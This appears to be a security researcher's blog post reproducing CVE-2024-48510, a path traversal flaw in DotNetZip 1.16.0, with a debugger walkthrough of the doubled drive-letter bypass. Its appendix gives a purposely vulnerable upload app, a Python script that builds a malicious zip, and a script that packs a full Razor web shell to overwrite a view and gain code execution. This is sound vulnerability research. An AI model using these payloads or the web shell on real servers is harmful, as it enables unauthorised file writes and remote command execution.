Skip to main content
  1. Posts/

[Reproduce] CVE-2024-48510 - DotNetZip: Path Traversal

·9 mins
CVE

1. Overall #

The vulnerability lies in the DotNetZip library version 1.16.0 - which is used to handle ZIP files.

CVE-2024-48510 is a path traversal vulnerability that allows attackers to write files to directories they are not permitted to access and execute arbitrary code.

The severity level is Critical with a CVSS 3.1 score of 9.8, but the number of PoCs or blogs discussing it is relatively rare or in another words, there is none of it at the time I did the research.

2. Root Cause Analysis #

2.1 Patch diffing #

Normally, to research a CVE, people usually compare the vulnerable and patched versions, but this library has been deprecated and users have switched to using other libraries. Therefore, I can only analyze this CVE by starting from the vulnerable function based on the NIST description:

image.png

In order to analyze, I create a .NET MVC web application that allows users to upload zip files for sharing.

To use this library, you can go to the NuGet Package Manager and search for dotnetzip 1.16.0 and install it.

This is the web interface:

image.png

2.2. Flow analysis #

Coming to the debugging part, we set a breakpoint in the Extract function - where NIST described the vulnerability:

image.png

I created a zip file to observe how the library processes it:

image.png

After sending the file, the program stops here to process it:

image.png

Still haven’t seen anything important, let’s continue stepping into:

image.png

See that this function has called to InternalExtractToBaseDir:

image.png

Here, from 1232-->1257 , it checks params if they exist or null; reset status; set flags and variables; check extraction method and encryption algorithm of the zip file is supported or not.

—> It seems to be preparing for the upcoming extraction.

—> The function IsDoneWithOutputToBaseDir at the end of the image appears to be the target we are aiming for.

Analysis of the IsDoneWithOutputToBaseDir function:

image.png

Here, it doesnt call any functions but only process the path.

At line 1675, it will check if baseDir is null or not.

To line 1679, it takes our FileName (please keep in mind that this variable is an untrusted data , we can manipulate it 100%), change \ to / and then assign it to text :

image.png

According to the comment of the author on Github, doing this will avoid writing files to the root volume of Windows, and you can view the link here.

To line 1680-1682, it removes the drive letter if it exists (C:/folder1/file.txt —> /folder1/file.txt):

image.png

And delete 1 / to turn it into relative path( /folder1/file.txt —>folder1/file.txt) at part 1684-1686:

image.png

We have text after processing a little bit, please take some attention here, and we will call this Detail A .

Next, from 1689-1690, it combines baseDir with text to produce outFileName , I write it down here for us to analyze:

outFileName = (_container.ZipFile.FlattenFoldersOnExtract ? 
    Path.Combine(baseDir, text.Contains("/") ? Path.GetFileName(text) : text) : 
    Path.Combine(baseDir, text));
outFileName = outFileName.Replace('/', Path.DirectorySeparatorChar);

In detail, it checks if FlattenFoldersOnExtract true or not, if it is true then it will check text:

  • Check whether text contains / (folder path) or not. If it does -> only take the filename (Path.GetFileName(text))
  • If it does not contain / -> keep the original text
  • If FlattenFoldersOnExtract is false, then combine them directly.
  • Afterwards, it replaces Unix-style path separators (/) with OS-specific ones.

outFilename after line 1689:

outFilename sau dòng 1689

outFilename after line 1690:

outFilename sau dòng 1690

Path.Combine function is used at line 1689 to combine baseDir and Filename to get the path where the file will be extracted, as I just mentioned, and it will return the result of the CombineInternal function as follows:

image.png

Step into CombineInternal function:

image.png

We can see CombineInternal use IsPathRooted with second parameter (which is text) to check if it is root path or not, if yes then it will return the path of the second parameter instead of combining both parameters. Here you continue to pay attention to this detail, I will call it Detail B .

—> So we have gone through the processing flow of the Extract function !

—> From fileName passed in is D:/CBJS/dotnet_resources/dotnetzip1160/payload/test.txt , we have outFileName as D:\\CBJS\\dotnet_resources\\path_traversal\\dotnetzip1160\\wwwroot\\extracted\\CBJS\\dotnet_resources\\dotnetzip1160\\payload\\test.txt

From 2 above details, we proceed to connect them together to see the vulnerability:

  • At Detail A, it removes drive letter if it exists (if there is a : at index 1, it removes the first two characters). So what happens if I place two drive letters next to each other, and when removing the first character, I still have the second character left? For example, if the entry name is D:D:/..., it will only remove the first D: and leave D:/... :

    image.png

  • At this point, Detail B appears, which is the root path mentioned above. If a root path exists—> The file write address will be anywhere we want:

    image.png

—> It is the path traversal vulnerability we are looking for.

3. PoC Video #

Here is a video that records how I write a text file out of /extracted folder:

Note: because it's just a demo, I already knew the absolute path in advance. This path could be `C:\inetpub\wwwroot` for II.

To elevate the attack level to Remote Code Execution, I utilized the arbitrary file writing feature to upload a shell .cshtml and overwrite the existing endpoint. Since the Razor shell requires a controller to be rendered, I chose to overwrite the existing file /Home/Privacy for the demo.

Note: this is just a demo, in reality it would be slightly different and require us to fuzz the path or combine it with another type of vulnerability, or upload a new controller file directly to the server.

Additionally, when using the Extract function, I used the feature that allows silent overwriting of existing files: `ExtractExistingFileAction.OverwriteSilently`

4. Appendix #

1. Web app Source code: #

  • Controller/ZipController.cs :

    using Ionic.Zip;
    using Microsoft.AspNetCore.Mvc;
    using System.IO;
    using System.Linq;
    
    namespace cve202448510.Controllers
    {
        [Route("/")]
        [ApiController]
        public class ZipController : Controller
        {
            private readonly IWebHostEnvironment _env;
    
            public ZipController(IWebHostEnvironment env)
            {
                _env = env;
            }
    
            [HttpGet]
            public IActionResult Index()
            {
                return View();
            }
    
            [HttpPost("extract")]
            public IActionResult ExtractZip(IFormFile file)
            {
                if (file != null && file.FileName.EndsWith(".zip"))
                {
                    try
                    {
                        string extractFolder = Path.Combine(_env.WebRootPath, "extracted");
                        if (!Directory.Exists(extractFolder))
                        {
                            Directory.CreateDirectory(extractFolder);
                        }
    
                        using (var zip = ZipFile.Read(file.OpenReadStream()))
                        {
                            foreach (var entry in zip.Entries)
                            {                     
                                entry.Extract(extractFolder, ExtractExistingFileAction.OverwriteSilently);
                            }
                        }
                        return RedirectToAction("Gallery");
                    }
                    catch (Exception ex)
                    {
                        return BadRequest($"Error extracting ZIP: {ex.Message}");
                    }
                }
                return BadRequest("Please upload a valid ZIP file");
            }
    
            [HttpGet("gallery")]
            public IActionResult Gallery()
            {
                string extractFolder = Path.Combine(_env.WebRootPath, "extracted");
                var files = Directory.Exists(extractFolder)
                    ? Directory.GetFiles(extractFolder, "*.*")
                        .Select(Path.GetFileName)
                        .ToList()
                    : new List<string>();
    
                return View(files);
            }
        }
    }
    
  • Views/Zip/Gallery.cshtml :

    @model List<string>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="utf-8" />
        <title>Gallery - CVE-2024-48510</title>
        <style>
            * {
                margin: 0;
                padding: 0;
                box-sizing: border-box;
            }
    
            body {
                font-family: Arial, sans-serif;
                background-color: #1E1E2F;
                color: #FFFFFF;
            }
    
            .container {
                max-width: 1200px;
                margin: 0 auto;
                padding: 20px;
            }
    
            h1 {
                font-size: 2rem;
                margin-bottom: 0.5rem;
            }
    
            p.subtitle {
                color: #00FF99;
                margin-bottom: 2rem;
            }
    
            .file-list {
                display: flex;
                flex-direction: column;
                gap: 10px;
            }
    
            .file-item {
                background-color: #2A2A3D;
                border-radius: 8px;
                padding: 10px;
                display: flex;
                justify-content: space-between;
                align-items: center;
            }
    
                .file-item a {
                    color: #00FF99;
                    text-decoration: none;
                }
    
                    .file-item a:hover {
                        text-decoration: underline;
                    }
    
            .download-btn {
                background-color: #665CFF;
                color: #FFF;
                border: none;
                padding: 5px 10px;
                border-radius: 4px;
                text-decoration: none;
                font-size: 0.9rem;
            }
    
                .download-btn:hover {
                    background-color: #5046CC;
                }
    
            a.back-link {
                color: #00FF99;
                text-decoration: none;
                font-size: 1.2rem;
            }
        </style>
    </head>
    <body>
        <div class="container">
            <h1>Extracted Files Gallery</h1>
            <p class="subtitle">Files extracted from uploaded ZIPs</p>
            <div class="file-list">
                @if (!Model.Any())
                {
                    <p>No files available.</p>
                }
                else
                {
                    @foreach (var file in Model)
                    {
                        <div class="file-item">
                            <span>@file</span>
                            <a href="/extracted/@file" class="download-btn" download>Download</a>
                        </div>
                    }
                }
            </div>
            <p><a href="/" class="back-link"> Back to Upload</a></p>
        </div>
    </body>
    </html>
    
  • Views/Zip/Index.cshtml :

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="utf-8" />
        <title>Upload ZIP - CVE-2024-48510</title>
        <style>
            * {
                margin: 0;
                padding: 0;
                box-sizing: border-box;
            }
            body {
                font-family: Arial, sans-serif;
                background-color: #1E1E2F;
                color: #FFFFFF;
                padding: 20px;
            }
            .container {
                max-width: 1200px;
                margin: 0 auto;
                text-align: center;
            }
            h1 {
                font-size: 2rem;
                margin-bottom: 0.5rem;
            }
            p.subtitle {
                color: #00FF99;
                margin-bottom: 2rem;
            }
            input[type="file"] {
                margin: 20px 0;
            }
            button {
                background-color: #665CFF;
                color: #FFF;
                border: none;
                padding: 10px 20px;
                border-radius: 4px;
                cursor: pointer;
            }
            button:hover {
                background-color: #5046CC;
            }
            a {
                color: #00FF99;
                text-decoration: none;
                font-size: 1.2rem;
            }
        </style>
    </head>
    <body>
        <div class="container">
            <h1>Upload ZIP File</h1>
            <p class="subtitle">Upload a ZIP file to extract (CVE-2024-48510 Demo)</p>
            <form method="post" enctype="multipart/form-data" asp-action="ExtractZip">
                <input type="file" name="file" accept=".zip" />
                <button type="submit">Upload & Extract</button>
            </form>
            <p><a href="/gallery">View Gallery </a></p>
        </div>
    </body>
    </html>
    
  • Program.cs :

    using Microsoft.AspNetCore.Mvc;
    
    var builder = WebApplication.CreateBuilder(args);
    
    // Add services to the container.
    builder.Services.AddControllersWithViews()
        .AddRazorRuntimeCompilation(); 
    
    builder.WebHost.UseUrls("http://localhost:5101");
    
    var app = builder.Build(); 
    
    if (!app.Environment.IsDevelopment())
    {
        app.UseExceptionHandler("/Zip/Error");
        app.UseHsts();
    }
    
    app.UseStaticFiles(); // phục vụ file từ wwwroot
    
    app.UseRouting();
    
    app.MapControllerRoute(
        name: "default",
        pattern: "{controller=Zip}/{action=Index}/{id?}");
    
    app.Run();
    

2. Script to create the zip file: #

  • PoC_zip.py

    from zipfile import ZipFile, ZipInfo
    import os
    
    with ZipFile("PoC.zip", "w") as zipf:
        info = ZipInfo("D:D:\\CBJS\\dotnet_resources\\path_traversal\\dotnetzip1160\\wwwroot\\PoC.txt")
        zipf.writestr(info, "This is a PoC file!")
    

3. Script to create the zip file containing the shell #

I have slightly modified it and the source is available here:

  • RCE.py :

    from zipfile import ZipFile, ZipInfo
    import os
    
    shell_aspx_content = r"""
    @using System
    @using System.Diagnostics
    
    @{ 
        ViewData["Title"] = "MVC Sh3ll Windows";
        var result = "";
        var cmd = Context.Request.Query["cmd"];
        if (!String.IsNullOrEmpty(cmd)){
            result = Bash(cmd);
        }
    
        if (String.IsNullOrEmpty(result)){
            result = "Invalid command or something didn't work";
        }
    
    }
    
    @functions{
        public static string Bash (string cmd)
        {
            var result = "";
            var escapedArgs = cmd.Replace("\"", "\\\"");
            var process = new Process()
            {
                StartInfo = new ProcessStartInfo
                {
                    FileName = "cmd.exe",
                    Arguments = $"/C \"{escapedArgs}\"",
                    RedirectStandardOutput = true,
                    UseShellExecute = false,
                    CreateNoWindow = true,
                }
            };
    
            process.Start();
            result = process.StandardOutput.ReadToEnd();
            process.WaitForExit();
    
            return result;
        }
    }
    
    <script
      src="https://code.jquery.com/jquery-3.2.1.min.js"
      integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4="
      crossorigin="anonymous"></script>
    <script>
    $(function() {
        var cmdResult = $("#cmdResult");
    
    	console.log(cmdResult);
    
    	if (cmdResult.text() === "Invalid command or something didn't work"){
    	    console.log("should change text");
            cmdResult.css("color", "red");
    	}
    
    	var term = $("#console");
        $("#cmd").focus();
    	term.scrollTop(term.prop("scrollHeight"));
    
    	$.urlParam = function(name){
            var results = new RegExp('[\?&]' + name + '=([^&#]*)').exec(window.location.href);
            if (results==null){
               return null;
            }
            else{
               return decodeURI(results[1]) || 0;
            }
        }
    
    
    	function executeCmd(){
            var cmd = encodeURIComponent($("#cmd").val());
    	    var currentCmd = $.urlParam('cmd');
    	    console.log("should replace: " + currentCmd + " WITH: " + cmd);
    
    	    var currentUrl = location.href;
    
    	    var paramDelimeter = "";
    	    if (currentUrl.indexOf("?") < 0){
    	        paramDelimeter = "?";
    	    } else {
    	        paramDelimeter = "&";
    	    }
    
    	    if (currentUrl.indexOf("cmd=") < 0){
                currentUrl = location.href + paramDelimeter + "cmd=";
    	    }
    
            var newUrl = currentUrl.replace(/cmd=.*/, "cmd="+cmd);
            window.location.href = newUrl;
    
    	    //console.log(newUrl);
    	}
    
        $("#submitCommand").click(function(){
    	    executeCmd();
    	})
    
    	$("#cmd").keypress(function (e) {
    	    if (e.which == 13) {
    	        executeCmd();
    	        return false;
    	    }
    	});
    
    	$("#cmd").on("change paste keyup", function(theVal){
    	    var cmd = $("#cmd").val();
    	    $("#cmdInput").text(cmd);
    	});
    });
    
    </script>
    
    <h3>@ViewData["Title"].</h3>
    <h4>@ViewData["Message"]</h4>
    <h4>Output for:> <span style="font-family: monospace; font-weight: normal;">@cmd</span></h4>
    
    <pre id="console" style="color: #00ff00;background-color: #141414;max-height: 606px;">
    C#:>@cmd
    
    <span id="cmdResult">@result</span>
    
    C#:><span id="cmdInput"></span>
    </pre>
    
    <br />
    
    <p>Enter your command below:</p>
    <span style="display: inline-flex !important;">
        <input  id="cmd" class="form-control" type="text" style="width: 400px;" /> 
    	<button id="submitCommand" class="btn btn-primary">Send!</button>
    </span>
    """
    with ZipFile("rce.zip", "w") as zipf:
        info = ZipInfo("D:D:\\CBJS\\dotnet_resources\\path_traversal\\dotnetzip1160\\Views\\Home\\Privacy.cshtml")
        zipf.writestr(info, shell_aspx_content)
    
    print("Created rce.zip successfully!")
    

4. Reference links: #